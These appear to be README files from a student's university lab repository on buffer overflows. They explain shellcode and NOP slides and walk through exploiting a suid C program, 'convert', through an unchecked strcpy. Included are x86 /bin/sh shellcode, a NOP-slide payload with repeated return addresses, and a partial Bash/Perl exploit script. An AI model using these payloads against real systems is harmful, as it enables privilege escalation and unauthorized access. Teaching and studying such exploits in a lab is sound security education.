/shellcode/Readme.md:

 1 | ## What's a shellcode
 2 | >In computer security, a shellcode is a small piece of code used as the payload in the exploitation of a software vulnerability. It is called "shellcode" because it typically starts a command shell from which the attacker can control the compromised machine, but any piece of code that performs a similar task can be called shellcode.
 3 | 
 4 | -- Wikipedia --
 5 | 
 6 | Usually a *shellcode* is written in machine/byte code and is passed to the vulnerable program in order to be executed through a buffer overflow vulnerability.
 7 | 
 8 | ### Shellcode used
 9 | The shellcode I used on all three attacks is found below.
10 | 
11 | ```sh
12 | \xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh
13 | ```
14 | 
15 | As the shellcode is byte code it's also architecture independent so in order to be sure you'll have to search online for a shellcode that works on the platform you are exploiting.
16 | 
17 | ### NOP slide
18 | When trying to execute a shellcode through a buffer overflow vulnerability it can be quite hard to figure out the exact padding needed (extra bytes) before your shellcode in order to overwrite the `saved eip` exactly with the start of the shellcode.
19 | 
20 | In order to solve this problem it's common to use what's called a `NOP slide`. A NOP slide is basically a series of NOP instructions (their byte code representation), in my case `\x90`.

 1 | # Introduction to buffer overflows
 2 | As a first project for my University's Computer Security course I was tasked to find and exploit buffer overflow vulnerabilities on three different simple programs.
 3 | 
 4 | ### Prerequisites
 5 | Before diving into buffer overflows you should be familiar with:
 6 | * Basic C/C++ understanding.
 7 | * Linux permissions.
 8 | *	Basic Assembly knowledge.
 9 | *	GDB and program memory allocation (stack, frames).
10 | 
11 | The GNU project debugger (a.k.a. GDB) is especially useful and since I won’t go into details on how to use it, if you’re not familiar with go check the docs or any good tutorial. The parts that are useful to this project are: disassembling the program, inspecting variable content and print frame information such as `saved return address`.
12 | 
13 | Now you can start reading about buffer overflows [here](https://github.com/JasonPap/Buffer-Overflows#links).
14 | 
15 | (also the GDB manual [here](https://sourceware.org/gdb/current/onlinedocs/gdb/))
16 | 
17 | ### The scenario
18 | There are three other users on the same Linux machine so the /home directory looks like this:
19 | ```
20 | jason@linux /home $ ls
21 | 
22 | hyperuser jason masteruser superuser
23 | ```
24 | Each of the users (superuser, hyperuser, masteruser) have an executable on their home directory which can be executed by other users and runs with the **suid bit enabled**. That means that when executed the program will have the owners privileges and not the privileges of the user executing it. 
25 | 
26 | Each user also have a *secret.txt* file which can be read only by him.
27 | 
28 | 
29 | ### Aim of the project
30 | The goal is to introduce students to buffer overflow vulnerabilities. In order to reveal the final secret, each of the three secrets from superuser, hyperuser and masteruser must be combined.
31 | 
32 | Each of the executables have a different flaw that must be exploited with the ultimate goal in each case to [create a Shell](https://github.com/JasonPap/Buffer-Overflows/tree/master/shellcode) running with the victim's privileges.
33 | 
34 | * [superuser](https://github.com/JasonPap/Buffer-Overflows/tree/master/superuser): he has the *convert.c* program without any protection against buffer overflows and is the easiest target.
35 | * [hyperuser](https://github.com/JasonPap/Buffer-Overflows/tree/master/hyperuser): has the *arpsender.c* program which uses a canary to protect against buffer overflows. (not ready yet)
36 | * [masteruser](https://github.com/JasonPap/Buffer-Overflows/tree/master/masteruser): has the *zoo.cpp* program that must be exploited using the VPTR. (not ready yet)

--------------------------------------------------------------------------------
 1 | ## Hacking the Superuser to get access to the supersecret file
 2 | 
 3 | Given the C program *convert.c* find a way to execute Shell Code by overflowing the unprotected buffer.
 4 | 
 5 | ### The convert program
 6 | The superuser's program, *convert*, is a simple C program that given a number of Bitcoins and a date it returns the amount of dollars they were valued at that time. It uses the *bitcoin.txt* to do so.
 7 | 
 8 | ### Finding the weak spot
 9 | 
10 | By reading the code we can see that the instruction
11 | ```c
12 |     strcpy(date,argv[2]);
13 | ```
14 | give us the opportunity to overflow the `date` buffer because there aren't any bound check to see if `argv[2]` is smaller or equal to 720, the length of the `date` char array.
15 | 
16 | ### Trial and error
17 | I filled date with a large random string and the program crashed giving me a SEGMENTATION fault and confirming the vulnerability of the executable.
18 | 
19 | Then I tried to prepare the proper input to get the program to execute my [Shell code](https://github.com/JasonPap/Buffer-Overflows/tree/master/shellcode):
20 | 
21 | ```sh
22 | \xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh
23 | ```
24 | 
25 | and filling the empty space before the Shell code with "\x90", the Hex code of NOP instruction, to a total length of 720 chars.
26 | 
27 | Then I had to use **GDB** to find where in the stack is saved the `date` buffer so I could point back. By printing the address of the `arglist` I was able to figure it out. Then, all I had to do is to write that address several times (about 4) at the end of my input (after the 720 chars) so it would overwrite the saved eip, the return address. 
28 | 
29 | My string now looked something like this:
30 | ```
31 | …\x90\x90\x90\x90\x90\x90\x90\x90\x90\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh\x2a\xfe\xff\xbf\x2a\xfe\xff\xbf\x2a\xfe\xff\xbf\x2a\xfe\xff\xbf\x2a\xfe\xff\xbf
32 | ```
33 | ./convert 1 'myString'
34 | 
35 | That didn't work (and could never work that way). Except for the "\" character everything else was copied to the memory as their corresponding hex representation. For example, 'a' was replaced with 0x61 etc.
36 | 
37 | I had to find a way to write to the memory exactly the Bytes of code I had in my string. So I tried online hex to char converters to try to reverse the conversion that happened before. That didn’t work either because I couldn't copy-paste those characters that didn't appear correctly.
38 | 
39 | 
40 | ### Solving the puzzle
41 | By using the exploit3.c code provided by Aleph One [here](http://insecure.org/stf/smashstack.html) with 800 as command line argument I was able to get access to the supersecret.txt quickly.
42 | 
43 | Although the problem was solved I tried another way to do it.
44 | 
45 | I wrote a Bash script to generate the right string that would overflow the date buffer and give me access to the *supersecret.txt*. I used **Perl** commands to convert my Shell code to characters (each byte a char). And again GDB to find the address of the `date` buffer and see what was written to the `saved eip` after the overflow to make sure I was writing an address somewhere in the NOP slide.
46 | 
47 | ```
48 | #!/bin/bash
49 | arg=`perl -e 'printf"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\$ 
50 | 
51 | arg2=`perl -e 'printf"\x96\xf6\xff\xbf"'` #the address that will overwrite the return address. 
52 | 
53 | ../superuser/convert 2 $arg$arg2
54 | 
55 | ```
56 | 
57 | Now I had a shell running with the superuser's privileges.
58 |
